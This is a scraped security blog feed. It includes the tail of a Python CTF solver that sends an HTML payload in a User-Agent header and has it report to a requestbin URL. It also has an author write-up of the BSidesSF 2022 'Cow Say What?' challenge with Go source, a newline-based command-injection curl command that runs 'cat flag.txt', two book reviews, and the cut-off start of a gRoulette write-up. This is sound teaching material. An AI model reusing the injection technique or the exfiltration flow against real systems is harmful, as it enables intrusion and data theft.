55
56
57
58
59
60
61
62
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="k">def</span> <span class="nf">make_email</span><span class="p">():</span>
<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">12</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span> <span class="o">+</span> <span class="s">'@example.dev'</span>
<span class="k">def</span> <span class="nf">register_account</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">server</span><span class="p">):</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">server</span> <span class="o">+</span> <span class="s">'/register'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span>
<span class="s">'email'</span><span class="p">:</span> <span class="n">make_email</span><span class="p">(),</span>
<span class="s">'password'</span><span class="p">:</span> <span class="s">'foofoo'</span><span class="p">,</span>
<span class="s">'password2'</span><span class="p">:</span> <span class="s">'foofoo'</span><span class="p">})</span>
<span class="n">resp</span><span class="p">.</span><span class="n">raise_for_status</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_support</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">server</span><span class="p">):</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">server</span> <span class="o">+</span> <span class="s">'/support'</span><span class="p">)</span>
<span class="n">resp</span><span class="p">.</span><span class="n">raise_for_status</span><span class="p">()</span>
<span class="k">return</span> <span class="n">resp</span><span class="p">.</span><span class="n">url</span>
<span class="k">def</span> <span class="nf">post_support_message</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">support_url</span><span class="p">,</span> <span class="n">payload</span><span class="p">):</span>
<span class="c1"># first sso
</span> <span class="n">resp</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">support_url</span> <span class="o">+</span> <span class="s">'/message'</span><span class="p">)</span>
<span class="n">resp</span><span class="p">.</span><span class="n">raise_for_status</span><span class="p">()</span>
<span class="n">msg</span> <span class="o">=</span> <span class="s">"auto-solution-test"</span>
<span class="n">pow_value</span> <span class="o">=</span> <span class="s">"c8157e80ff474182f6ece337effe4962"</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"message"</span><span class="p">:</span> <span class="n">msg</span><span class="p">,</span> <span class="s">"pow"</span><span class="p">:</span> <span class="n">pow_value</span><span class="p">}</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">support_url</span> <span class="o">+</span> <span class="s">'/message'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">'User-Agent'</span><span class="p">:</span> <span class="n">payload</span><span class="p">})</span>
<span class="n">resp</span><span class="p">.</span><span class="n">raise_for_status</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--requestbin'</span><span class="p">,</span>
<span class="n">default</span><span class="o">=</span><span class="s">'https://eo3krwoqalopeel.m.pipedream.net'</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'server'</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s">'http://localhost:3123/'</span><span class="p">,</span>
<span class="n">nargs</span><span class="o">=</span><span class="s">'?'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'TODO Server'</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="n">server</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">server</span>
<span class="k">if</span> <span class="n">server</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'/'</span><span class="p">):</span>
<span class="n">server</span> <span class="o">=</span> <span class="n">server</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">register_account</span><span class="p">(</span><span class="n">sess</span><span class="p">,</span> <span class="n">server</span><span class="p">)</span>
<span class="n">support_url</span> <span class="o">=</span> <span class="n">get_support</span><span class="p">(</span><span class="n">sess</span><span class="p">,</span> <span class="n">server</span><span class="p">)</span>
<span class="k">if</span> <span class="n">support_url</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'/'</span><span class="p">):</span>
<span class="n">support_url</span> <span class="o">=</span> <span class="n">support_url</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Support URL: '</span><span class="p">,</span> <span class="n">support_url</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'payload.html'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="s">' '</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'{{dest}}'</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">requestbin</span>
<span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'{{ep}}'</span><span class="p">,</span> <span class="n">server</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Payload is: '</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">post_support_message</span><span class="p">(</span><span class="n">sess</span><span class="p">,</span> <span class="n">support_url</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Sent support message.'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The python takes care of registering an account, redirecting to the support
site, logging in there, then sending the payload in the User-Agent header.
Checking the request bin will (after a handful of seconds) show us the flag.</p>
BSidesSF 2022 CTF: Cow Say What?2022-06-07T00:00:00-07:00https://systemoverlord.com/2022/06/07/bsidessf-ctf-2022-cow-say-what
<p>As the author of the <code class="language-plaintext highlighter-rouge">Cow Say What?</code> challenge from this year’s BSidesSF CTF, I
got a lot of questions about it after the CTF ended. It’s both surprisingly
straight-forward but also a very little-known issue.</p>
<p>The challenge was a web challenge – if you visited the service, you got a page
providing a textarea for input to the <a href="https://www.mankier.com/1/cowsay">cowsay</a>
program, as well as a drop down for the style of the cow saying something
(plain, stoned, dead, etc.). There was a link to the source code, reproduced
here:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
</pre></td><td class="rouge-code"><pre><span class="k">package</span> <span class="n">main</span>
<span class="k">import</span> <span class="p">(</span>
<span class="s">"fmt"</span>
<span class="s">"html/template"</span>
<span class="s">"io"</span>
<span class="s">"log"</span>
<span class="s">"net/http"</span>
<span class="s">"os"</span>
<span class="s">"os/exec"</span>
<span class="s">"regexp"</span>
<span class="p">)</span>
<span class="k">const</span> <span class="p">(</span>
<span class="n">COWSAY_PATH</span> <span class="o">=</span> <span class="s">"/usr/games/cowsay"</span>
<span class="p">)</span>
<span class="k">var</span> <span class="p">(</span>
<span class="n">modeRE</span> <span class="o">=</span> <span class="n">regexp</span><span class="o">.</span><span class="n">MustCompilePOSIX</span><span class="p">(</span><span class="s">"^-(b|d|g|p|s|t|w)$"</span><span class="p">)</span>
<span class="p">)</span>
<span class="c">// Note: mode must be validated prior to running this!</span>
<span class="k">func</span> <span class="n">cowsay</span><span class="p">(</span><span class="n">mode</span><span class="p">,</span> <span class="n">message</span> <span class="kt">string</span><span class="p">)</span> <span class="p">(</span><span class="kt">string</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
<span class="n">cowcmd</span> <span class="o">:=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s %s -n"</span><span class="p">,</span> <span class="n">COWSAY_PATH</span><span class="p">,</span> <span class="n">mode</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Running cowsay as: %s"</span><span class="p">,</span> <span class="n">cowcmd</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">:=</span> <span class="n">exec</span><span class="o">.</span><span class="n">Command</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">,</span> <span class="s">"-c"</span><span class="p">,</span> <span class="n">cowcmd</span><span class="p">)</span>
<span class="n">stdin</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">StdinPipe</span><span class="p">()</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="k">return</span> <span class="s">""</span><span class="p">,</span> <span class="n">err</span>
<span class="p">}</span>
<span class="k">go</span> <span class="k">func</span><span class="p">()</span> <span class="p">{</span>
<span class="k">defer</span> <span class="n">stdin</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
<span class="n">io</span><span class="o">.</span><span class="n">WriteString</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
<span class="p">}()</span>
<span class="n">outbuf</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">cmd</span><span class="o">.</span><span class="n">Output</span><span class="p">()</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="k">return</span> <span class="s">""</span><span class="p">,</span> <span class="n">err</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kt">string</span><span class="p">(</span><span class="n">outbuf</span><span class="p">),</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">checkMode</span><span class="p">(</span><span class="n">mode</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="s">""</span> <span class="p">{</span>
<span class="k">return</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="k">if</span> <span class="o">!</span><span class="n">modeRE</span><span class="o">.</span><span class="n">MatchString</span><span class="p">(</span><span class="n">mode</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Errorf</span><span class="p">(</span><span class="s">"Mode must match regexp: %s"</span><span class="p">,</span> <span class="n">modeRE</span><span class="o">.</span><span class="n">String</span><span class="p">())</span>
<span class="p">}</span>
<span class="k">return</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="k">const</span> <span class="n">cowTemplateSource</span> <span class="o">=</span> <span class="s">`
<!doctype html>
<html>
<h1>Cow Say What?</h1>
<p>I love <a href='https://www.mankier.com/1/cowsay'>cowsay</a> so much that
I wanted to bring it to the web. Enjoy!</p>
{{if .Error}}
<p><b>{{.Error}}</b></p>
{{end}}
<form method="POST" action="/">
<select name="mode">
<option value="">Plain</option>
<option value="-b">Borg</option>
<option value="-d">Dead</option>
<option value="-g">Greedy</option>
<option value="-p">Paranoid</option>
<option value="-s">Stoned</option>
<option value="-t">Tired</option>
<option value="-w">Wired</option>
</select><br />
<textarea name="message" placeholder="message" cols="60" rows="10">{{.Message}}</textarea><br />
<input type='submit' value='Say'><br />
</form>
{{if .CowSay}}
<pre>{{.CowSay}}</pre>
{{end}}
<p>Check out <a href='/cowsay.go'>how it works</a>.</p>
</html>
`</span>
<span class="k">var</span> <span class="n">cowTemplate</span> <span class="o">=</span> <span class="n">template</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">template</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"cowsay"</span><span class="p">)</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">cowTemplateSource</span><span class="p">))</span>
<span class="k">type</span> <span class="n">tmplVars</span> <span class="k">struct</span> <span class="p">{</span>
<span class="n">Error</span> <span class="kt">string</span>
<span class="n">CowSay</span> <span class="kt">string</span>
<span class="n">Message</span> <span class="kt">string</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">cowsayHandler</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
<span class="n">vars</span> <span class="o">:=</span> <span class="n">tmplVars</span><span class="p">{}</span>
<span class="k">if</span> <span class="n">r</span><span class="o">.</span><span class="n">Method</span> <span class="o">==</span> <span class="n">http</span><span class="o">.</span><span class="n">MethodPost</span> <span class="p">{</span>
<span class="n">mode</span> <span class="o">:=</span> <span class="n">r</span><span class="o">.</span><span class="n">FormValue</span><span class="p">(</span><span class="s">"mode"</span><span class="p">)</span>
<span class="n">message</span> <span class="o">:=</span> <span class="n">r</span><span class="o">.</span><span class="n">FormValue</span><span class="p">(</span><span class="s">"message"</span><span class="p">)</span>
<span class="n">vars</span><span class="o">.</span><span class="n">Message</span> <span class="o">=</span> <span class="n">message</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">checkMode</span><span class="p">(</span><span class="n">mode</span><span class="p">);</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">vars</span><span class="o">.</span><span class="n">Error</span> <span class="o">=</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">()</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">said</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">cowsay</span><span class="p">(</span><span class="n">mode</span><span class="p">,</span> <span class="n">message</span><span class="p">);</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error running cowsay: %v"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
<span class="n">vars</span><span class="o">.</span><span class="n">Error</span> <span class="o">=</span> <span class="s">"An error occurred running cowsay."</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">vars</span><span class="o">.</span><span class="n">CowSay</span> <span class="o">=</span> <span class="n">said</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">cowTemplate</span><span class="o">.</span><span class="n">Execute</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">vars</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">sourceHandler</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
<span class="n">http</span><span class="o">.</span><span class="n">ServeFile</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="s">"cowsay.go"</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">addr</span> <span class="o">:=</span> <span class="s">"0.0.0.0:6789"</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">Args</span><span class="p">)</span> <span class="o">></span> <span class="m">1</span> <span class="p">{</span>
<span class="n">addr</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">Args</span><span class="p">[</span><span class="m">1</span><span class="p">]</span>
<span class="p">}</span>
<span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/cowsay.go"</span><span class="p">,</span> <span class="n">sourceHandler</span><span class="p">)</span>
<span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">cowsayHandler</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">Fatal</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="no">nil</span><span class="p">))</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>There’s a few things to unpack here, but probably most significant is that
the cowsay output is produced by invoking an external program. Notably, it
passes the message via <code class="language-plaintext highlighter-rouge">stdin</code>, and the mode as an argument to the program. The
entire program is invoked via <code class="language-plaintext highlighter-rouge">sh -c</code>, which makes this similar to the
<a href="https://www.mankier.com/3/system"><code class="language-plaintext highlighter-rouge">system(3)</code></a> <code class="language-plaintext highlighter-rouge">libc</code> function.</p>
<p>The mode is validated via a regular expression. As Jamie Zawinski was opined
(and <a href="https://blog.codinghorror.com/regular-expressions-now-you-have-two-problems/">Jeff Atwood has commented
on</a>):</p>
<blockquote>
<p>Some people, when confronted with a problem, think “I know, I’ll use
regular expressions.” Now they have two problems.</p>
</blockquote>
<p>Well, it turns out we do have two problems. Our regular expression is given by
the statement:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">modeRE</span> <span class="o">=</span> <span class="n">regexp</span><span class="o">.</span><span class="n">MustCompilePOSIX</span><span class="p">(</span><span class="s">"^-(b|d|g|p|s|t|w)$"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We can use a tool like <a href="https://regex101.com/r/WRVEfh/1">regex101.com</a> to play
around with our expression. Specifically, it appears that it should consist of
a <code class="language-plaintext highlighter-rouge">-</code> followed by one of the characters separated by pipes within the
parentheses. At first, this appears pretty limiting, however, if we examine the
Go <a href="https://pkg.go.dev/regexp/syntax@go1.18.3"><code class="language-plaintext highlighter-rouge">regexp</code> documentation</a>, we might
notice a few oddities. Specifically, <code class="language-plaintext highlighter-rouge">^</code> is defined as “at beginning of text or
line (flag m=true)” and <code class="language-plaintext highlighter-rouge">$</code> as “at end of text … or line (flag m=true)”. So
apparently two of our special characters have different meanings depending on
some “flags”.</p>
<p>There are no flags in our regular expression, so we’re using whatever the
defaults are. Looking at the <a href="https://pkg.go.dev/regexp/syntax@go1.18.3#Flags">documentation for
Flags</a>, we see that there are
two default sets of flags: <code class="language-plaintext highlighter-rouge">Perl</code> and <code class="language-plaintext highlighter-rouge">POSIX</code>. Slightly strangely, the
constants use an inverted meaning for the <code class="language-plaintext highlighter-rouge">m</code> flag: <code class="language-plaintext highlighter-rouge">OneLine</code>, which causes the
regular expression engine to “treat ^ and $ as only matching at beginning and
end of text”. This flag is <em>not</em> included in <code class="language-plaintext highlighter-rouge">POSIX</code> (in fact, no flags are),
so in a POSIX RE, <code class="language-plaintext highlighter-rouge">^</code> and <code class="language-plaintext highlighter-rouge">$</code> match the beginning and end of <strong>lines</strong>
respectively.</p>
<p>Our test for the Regexp to match is
<a href="https://pkg.go.dev/regexp#Regexp.MatchString"><code class="language-plaintext highlighter-rouge">MatchString</code></a>, which is
documented as:</p>
<blockquote>
<p>MatchString reports whether the string s contains any match of the regular
expression re.</p>
</blockquote>
<p>Note that the test is “contains any match”. If <code class="language-plaintext highlighter-rouge">^</code> and <code class="language-plaintext highlighter-rouge">$</code> matched beginning
and end of <strong>input</strong>, that would require the entire string to match, but since
they are matching beginning and end of <strong>line</strong>, so long as the input contains a
line matching the regular expression, then <code class="language-plaintext highlighter-rouge">MatchString</code> will return true.</p>
<p>This now means we can pass <em>arbitrary input</em> via the <code class="language-plaintext highlighter-rouge">mode</code> parameter, which
will be directly interpolated into the string passed to <code class="language-plaintext highlighter-rouge">sh -c</code>. Put another
way, we now have a <a href="https://owasp.org/www-community/attacks/Command_Injection">Command
Injection vulnerability</a>.
We just need to also include a line that matches our regular expression.</p>
<p>To send a parameter containing a newline, we merely need to URL encode
(sometimes called percent encoding) the character, resulting in <code class="language-plaintext highlighter-rouge">%0A</code>. This can
be exploited with a simple cURL command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>curl 'https://cow-say-what-473bf31e.challenges.bsidessf.net/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'mode=-d%0acat flag.txt #&message=foo'
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">-d%0a</code> matches the regular expression, then we have a command injected
(<code class="language-plaintext highlighter-rouge">cat flag.txt</code>) and start a comment (<code class="language-plaintext highlighter-rouge">#</code>) to just ignore the rest of the
command.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre> _____
< foo >
-----
\ ^__^
\ (xx)\_______
(__)\ )\/\
U ||----w |
|| ||
CTF{dont_have_a_cow_have_a_flag}
</pre></td></tr></tbody></table></code></pre></div></div>
Book Review: Designing Secure Software2021-11-24T00:00:00-08:00https://systemoverlord.com/2021/11/24/book-review-designing-secure-software
<p><em>Designing Secure Software</em> (<a href="https://amzn.to/3nRatAc">Amazon</a>,
<a href="https://nostarch.com/designing-secure-software">No Starch Press</a>) by Loren Kohnfelder is
one of the latest entries in No Starch Press’s line of security books. This
book stands out to me for two big reasons. First, this is one of the most
mindset-centric books I’ve seen (which means it is likely to age better than a
lot of more technically-specific books). Second, this book caters to developers
more than security professionals (but don’t take this to mean it’s only for
developers), which is definitely a distinguishing feature from so many other
security books.</p>
<!--more-->
<p><strong>Note</strong>: I was provided an early access copy of <em>Designing Secure Software</em> by the
publisher for review, but they had no editorial input. All of the opinions in
this review are my own.</p>
<p>The writing in this book is very clear and easy reading, and the examples used
are both captivating and easy to understand. Kohnfelder does a great job of
making a point that is easy to understand, and most of the chapters could stand
alone for developers just working in that one particular area.</p>
<p>Security is something that has to be baked into the software development life
cycle, so informing and educating developers is a key element of this. This
book is a great resource for this and shows how vulnerabilites can creep in
during both the design and implementation phases of the SDLC. There are
examples written in C and Python to help developers understand.</p>
<p>One of the best points made in this book is that security is a spectrum and that
we have to trust <em>something</em>. Whether that’s a compiler, an operating system
vendor, a cloud provider, or dependencies in your software’s build process.
Sometimes people who find out a little bit about security become security
absolutists, looking for 100% guarantees, and while I recognize and understand
the instinct, the real world doesn’t work that, and this book helps software
developers to understand and evaluate that.</p>
<p>Overall, this book is a worthwhile read for both software developers and
security engineers working the application security space. It distinguishes
itself by focusing on concepts rather than being a checklist of individual items
to focus on.</p>
Book Review: Bug Bounty Bootcamp2021-11-05T00:00:00-07:00https://systemoverlord.com/2021/11/05/book-review-bug-bounty-bootcamp
<p><em>Bug Bounty Bootcamp</em> (<a href="https://amzn.to/3BOzpMq">Amazon</a>,
<a href="https://nostarch.com/bug-bounty-bootcamp">No Starch Press</a>)
by Vickie Li is one of No Starch Press’s newest offerings in the security space.
The alliterative title is also the best three word summary I could possibly
offer of the book – it is clearly focused on getting the reader into a position
to participate in Bug Bounties from the first page to the last. This
differentiates this book well against other web security books, despite covering
many of the same vulnerabilities.</p>
<!--more-->
<p><strong>Note</strong>: I was provided an early access copy of <em>Bug Bounty Bootcamp</em> by the
publisher for review, but they had no editorial input. All of the opinions in
this review are my own.</p>
<p>The first couple of chapters provide an introduction to the Bug Bounty space,
helping the reader to understand the role of bounties in the overall security
program of a company, selecting a bounty to participate in, and how the programs
are managed in different situations. It also does a fairly good job of setting
expectations for new bounty participants, but I think it might be a little bit
on the optimistic side for some that are newer to the space.</p>
<p>The second part of the book covers some foundational knowledge and tooling
setup, as well as performing reconnaissance on the target environment. The
recon section feels a little light because there are so many situational
approaches out there, but for a beginner, it will be a good start. As one gets
more experienced, you will need to recognize that there are a lot of other
sources of information and incorporating them into your methodology will improve
your coverage. (And hopefully also your findings.)</p>
<p>In the third part, Vickie describes a wide of vulnerability types that may be
found in common web applications. Obviously, it is not possible to cover every
vulnerability and edge case, but the vulnerabilities described cover the vast
majority of findings that I have found or seen reported in web applications.
16 Chapters cover a wide variety of vulnerability classes – so many that it may
feel overwhelming to newcomers, so I’d suggest picking a subset of classes to
start testing for at first. This will give you time to get comfortable with the
process and tooling for testing.</p>
<p>Chapter 17, which covers logic errors and broken access control, in particular,
is one that I think all web developers should read. (In addition, of course, to
bug bounty hunters.) These bugs are pervasive and essentially impossible for
better frameworks, web application firewalls, or automated tooling to mitigate
because they require an understanding of the underlying business logic in
addition to the technical understanding of vulnerability classes.</p>
<p>The fourth, and final, part of this book collects what Vickie refers to as
“Expert Techniques”. While they are an extension of other techniques to cover
more surface, I think these can be applied even by those with less experience in
the field. In particular, covering API and Android apps is a rather natural
extension of web security, as most of these are just HTTP APIs with a nice
facade on them. Fuzzing is a bit more advanced and further afield, but she
provides a nice introduction to them in the final chapter of the book. These
chapters do have a bit of a “supplemental” feel to them, and those brand new to
security may wish to return to them after gaining some experience with the other
vulnerabilities covered and the tooling involved.</p>
<p>I do recommend that more individuals looking to have success in bug bounty
programs consider understanding APIs and mobile applications, as these attack
surfaces seem to be far less covered, leading to more opportunities to be the
first discoverer of a bug. It’s very nice to see that these are covered here,
as bug bounty coverage is often “web only”.</p>
<p>This book does bear some similarities to No Starch’s own
<a href="https://amzn.to/3bN7jq1"><em>Real-World Bug Hunting</em></a>, but it also stands its own
ground. <em>Real-World Bug Hunting</em> focuses almost entirely just on the
vulnerability classes, while <em>Bug Bounty Bootcamp</em> has a lot more content about
automating reconnaisance, integrating a lifecycle for ongoing testing of the
same properties, and supplementing your tooling with your own scripting and
development. If you have the time, I can handily recommend reading both of
these resources. If you’re only going to read one, and your predominant
interest is success in Bug Bounties, I think <em>Bug Bounty Bootcamp</em> will do a
better job of preparing you for that.</p>
<p>Readers who are interested in full-time roles doing security assessment as
opposed to just bug bounties – such as penetration testers or application
security engineers – may still find this book useful, but will want to
supplement their approach with more traditional resources. A good compliment
might be
<a href="https://amzn.to/3CSmslM"><em>The Web Application Hacker’s Handbook</em></a>. This is not
a negative of the book (as it never <em>claimed</em> to be anything beyond the bug
bounty space) but is still something for readers to be aware of depending on
their personal goals and roles.</p>
<p><em>Bug Bounty Bootcamp</em> is a great resource for those who want to participate in
Bug Bounties because it not only teaches you about the technical aspects, but
helps you develop a methodology and sustain your testing. Some technology
knowledge is assumed, but it does a solid job of describing the relevant
vulnerability types from first principles, so it can be a strong resource for
those new to the security space. The writing style is clear and to the point.</p>
0x0G CTF: gRoulette (Author Writeup)2021-08-12T00:00:00-07:00https://systemoverlord.com/2021/08/12/0x0g-ctf-groulette-author-writeup
<p>0x0G is Google’s annual “Hacker Summer Camp” event. <em>Normally</em> this would be in
Las Vegas during the week of DEF CON and Black Hat, but well, pandemic rules
apply. I’m one of the organizers for the CTF we run during the event, and I
thought I’d write up solutions to some of my challenges here.</p>
<p>gRoulette is a simplified Roulette game online. Win enough and you’ll get the
flag. The source code is provided, and the entire thing is run over a WebSocket
connection to the server.</p>
<p><img src="/img/0x0g/groulette.png" alt="gRoulette" /></p>
<!--more-->
<p>Examining the websocket flow, we series of messages:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>{"message_type":"register","balance":100,"round_id":1991705954}
{"message_type":"round_result","round_result":{"roundid":1991705954,"space":"31","next_roundid":520308631}}
{"message_type":"round_result","round_result":{"roundid":520308631,"space":"8","next_roundid":439000315}}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Taking a look at the source code, we see that the rounds are handled by a
function in <code class="language-plaintext highlighter-rouge">roulette.go</code>:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="k">func</span> <span class="p">(</span><span class="n">g</span> <span class="o">*</span><span class="n">RouletteGame</span><span class="p">)</span> <span class="n">PlayRound</span><span class="p">()</span> <span class="p">{</span>
<span class="o">...</span>
